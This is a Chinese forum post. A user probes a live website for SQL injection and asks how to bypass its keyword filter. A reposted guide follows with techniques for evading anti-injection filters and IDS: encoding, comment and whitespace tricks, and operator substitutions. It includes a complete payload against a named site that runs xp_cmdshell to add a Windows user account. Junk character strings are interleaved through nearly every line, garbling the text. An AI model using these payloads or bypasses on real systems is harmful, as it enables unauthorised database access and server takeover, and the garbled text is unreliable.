路过这个网站,检测了一下." e( w& n4 R0 Z. p6 S* q
http://www.xxx.cn/Article.asp?ID=117 and 1=1
6 c4 D6 U6 Y$ a- P直接返回主页" v: ?1 S/ U! q2 ?9 r9 d. P4 y( H
http://www.xxx.cn/Article.asp?ID=117 or 1=1
6 Q5 E! f7 [$ v' L+ X直接返回主页) d6 }9 d S3 Y- F7 d
http://www.xxx.cn/Article.asp?ID=117 or7 {8 {7 C3 n7 G: A" h% t/ Q
没有返回主页 没有过滤or
+ R: U! {; x' \) h% Xhttp://www.xxx.cn/Article.asp?ID=117 and
9 w- [# r+ ~6 B! u直接返回主页 看来过滤了and8 {. I" p6 {6 @) u
http://www.xxx.cn/Article.asp?ID=117 or 1
# n8 V) L7 b+ j- A没有返回主页 即没有过滤or 也没有过滤1
7 Q" ^" Y; g6 D# n; _3 nhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
A: R4 n0 D4 U直接返回主页 很明显过滤了等号
! {+ D1 k6 i4 Y6 S5 ^9 @or的特性是与and相反的.# j+ Y, g: ^- u: z
or 1=1 爆错 或与原页面不同% b# U5 x' K r. |& y- }. }/ E, s
or 1=2 原页面相同3 _. k6 `* ^1 h& u
这样就是一个注入点
0 c- f" ]1 r" ^' P) {4 Q但他过滤了=号 我就用><号代替=号吧!& |5 f# p3 ?, t+ Y! w( n. F6 H3 A
or 1<2 很明显是正确的,所以应该与原页面不同 G. L0 |/ Y0 X& f" N$ C ]
or 1>2 很明显是错误的,所以应该与原页面相同
! k5 o" V/ Q6 _8 x' g3 `然后看看有没有过滤其他的查询语句,比如select.! i& l m9 r4 m* C! J
http://www.xxx.cn/Article.asp?ID=117 select1 n6 w/ b; t( w
直接返回主页, x+ w ~! @: S" }. j' v1 ?
又迷茫了..' c1 D4 S1 H# D7 A3 _
2 N5 D7 Z: J( K
' N, k/ L% l* y2 `' M7 U% M# k
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
8 [, A: [, L3 V4 G. M( g8 n这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)7 N3 E4 E5 ^$ C# z) p, A
================================================ Q% S* U# s$ ^$ n- M) l
以下是转贴:
6 y% ?: f- ~8 _: b2 V" U% D; I+ v2 F! X& f
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
. I0 I. l" z H: t经过我的收集,大部分的防注入程序都过滤了以下关键字:
' Z8 k6 b6 v" W* Y& qand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
; H$ V/ C+ ^& `& Z& q# \; _7 M而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 ) m& k4 T! a \2 {+ V3 U/ `
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
9 Q) Z- c' y$ e1、运用编码技术绕过 , \6 s9 @$ d' F$ u$ c0 q% H
如URLEncode编码,ASCII编码绕过。例如or 1=1即
6 o8 a! `. E; |. P1 D7 `5 N- ~4 e%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
& S0 l! F9 T. x
1 b5 s. x" J+ @3 ~2、通过空格绕过
) z a# \2 ^5 }2 w. V如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
- T+ u! G) K/ x0 b- w) u9 f8 H2 vor’ swords’ =‘swords’
D, O7 C2 G* `6 n,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 . p4 v5 T3 R3 l
3、运用字符串判断代替 7 ~; n3 f3 ?: w; _- h x
用经典的or 1=1判断绕过,如 , f( h* T/ v' k; L: [: U
or ’swords’ =’swords’ 3 x$ S P6 U& M5 ~( v7 w t% V3 n
,这个方法就是网上在讨论的。 7 G4 n$ Z1 _$ q f& Y# \* s) q4 N$ p
4、通过类型转换修饰符N绕过 ; q% u6 b J! E/ V& t2 ^1 ?
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 4 y; s. Q0 y& q* x: I
5、通过+号拆解字符串绕过 : _2 p5 @0 ]8 P- m1 J4 }3 V
效果值得考证,但毕竟是一种方法。如
, s# o' O; D( s6 }1 mor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) A; f l' a8 C( \
* C; _& }! d$ t/ O8 T' X# K6、通过LIKE绕过
! d# H, o* H% P: ?8 Z以前怎么就没想到呢?如or + s: t: o- h7 P3 A& H
’swords’ LIKE ’sw’
2 P+ a1 n' l- `$ i( a6 R!!!显然可以很轻松的绕过 , r: p, |$ V" X0 q h
“=”“>” 5 u" e0 D: F8 ?* a0 N w
的限制……
; V* M+ [7 `: K; s$ q7、通过IN绕过
8 O, X0 {3 Z/ P2 ^与上面的LIKE的思路差不多,如 . t- x. C( F- y. s/ x) |+ h6 [
or ’swords’ IN (’swords’)
; t B4 P6 a+ ~- ]- }/ Y
3 I: D! i ]8 F# J: }$ _4 _9 \8、通过BETWEEN绕过 0 O2 I9 L& u1 [
如
, ~2 y1 Y6 k9 u% G. nor ’swords’ BETWEEN ’rw’ AND ’tw’
; u5 L# Z' N+ X' {. a* L2 r |7 ~- Y- e! K1 ?
9、通过>或者<绕过
# [) ?* G; c/ Wor ’swords’ > ’sw’
3 s& m; q- \2 {4 l- A. c ^or ’swords’ < ’tw’
* h$ B: {& a F* qor 1<3 1 d' h2 c4 g9 j
……
% \' B+ l' g4 L& V1 e8 S" Y! {10、运用注释语句绕过
; q; t1 S7 c) \( J0 n用/**/代替空格,如: 3 P- K' F( _1 K, v' q% Z) W2 V
UNION /**/ Select /**/user,pwd,from tbluser
) A0 m3 P& T$ Q. R0 H" }8 V6 _2 E& C3 z z5 |" u. ]2 c9 s _# o
用/**/分割敏感词,如: - Q% T9 i+ k$ |' l% V* ]3 f
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
7 o/ n. b! |, U4 [: z. c' @
+ |1 F7 F# F2 @3 f5 q! R+ @11、用HEX绕过,一般的IDS都无法检测出来
& p( U8 r+ a r2 M! \8 k0x730079007300610064006D0069006E00 =hex(sysadmin)
4 T3 Q4 y% a* m) Z& v* o0x640062005F006F0077006E0065007200 =hex(db_owner)
: F9 G4 Z1 I- e% b ]9 W5 b另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: : a1 K7 X9 `1 ?; j5 O0 h
declare @a sysname
3 }+ r5 R) [) k select @a=
* H N7 Z& v d) d& ]2 ~ exec master.dbo.xp_cmdshell @a
, ~; |) T9 X( D: _效果 ( t4 Q6 B* |4 A/ h/ E* K
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
1 e9 |, Q" w! o2 f3 M5 b$ o2 p* j5 n5 y- x! W- Q
其中的 ' y6 }% k! ~) F j- C9 h) I
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ( q3 U+ H9 p/ k- H5 @
就是
+ E9 d1 A" d# d- o8 H' ] m7 d- m“net user angel pass /add”
' P$ L% A' }- P- U" A2 J' B
# {' ? W# v4 K5 |/ G2 N5 y一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
5 }; r R) j2 ~7 z8 a5 R: `% Y9 n引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
- Q7 J- `& i. |另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
: x% } M0 {/ A4 R1 K4 x, }Copy code
0 {' }2 H7 x Z) l+ Kselect * from table exec xp_cmdshell'xxxxxxxxxx'
1 r* L$ b+ _& z7 n6 O7 p& L
7 B" T7 `% n9 i/ I x/ }8 d" f: j& |" q) a- d* _4 T' [7 V
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'- u" k* q) q# \; t" f. q6 d
) c/ M/ q; K! P5 J( r9 R! m
; [& ?7 a$ j+ x& n& cselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
, j2 H% j5 X5 y! }; j; f, O1 Y, T3 q4 ]% p. U( ?: W( f5 Y1 Z
& s9 U& Z$ W* f) {- Uselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
. x7 Y; y% V9 d0 i
1 i9 |8 g1 f. Q. y" {的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
7 s3 m) L1 w5 ^( C
; y3 E! Y* G3 U: y4 l这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了/ X# i0 w- ~, e' G
可能大家早就知道了,不管怎么说,发在这里吧!9 u! m+ b8 v9 I0 f& P' H9 P5 v
( N% @9 S# U! r' Y
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
1 i5 l/ K9 T4 F5 g/ k* I# y
. f O* ^5 e7 @
! \9 W" [& \% \
% L: p, g" z4 e* @: \7 ]; I对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
5 w; X! V9 e7 O O/ F: A0 b比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
5 ?, j& G, E9 B) [ [
5 n2 T( Q8 @( x+ p* u1 B0 s) z3 [6 X |